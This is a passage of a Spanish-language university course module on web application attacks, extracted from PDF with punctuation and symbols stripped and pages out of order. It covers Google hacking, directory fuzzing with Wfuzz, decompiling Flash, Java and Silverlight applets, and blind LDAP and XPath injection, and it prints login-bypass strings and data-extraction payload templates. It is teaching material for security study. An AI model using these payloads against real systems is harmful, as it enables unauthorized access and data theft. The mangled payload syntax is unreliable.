evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
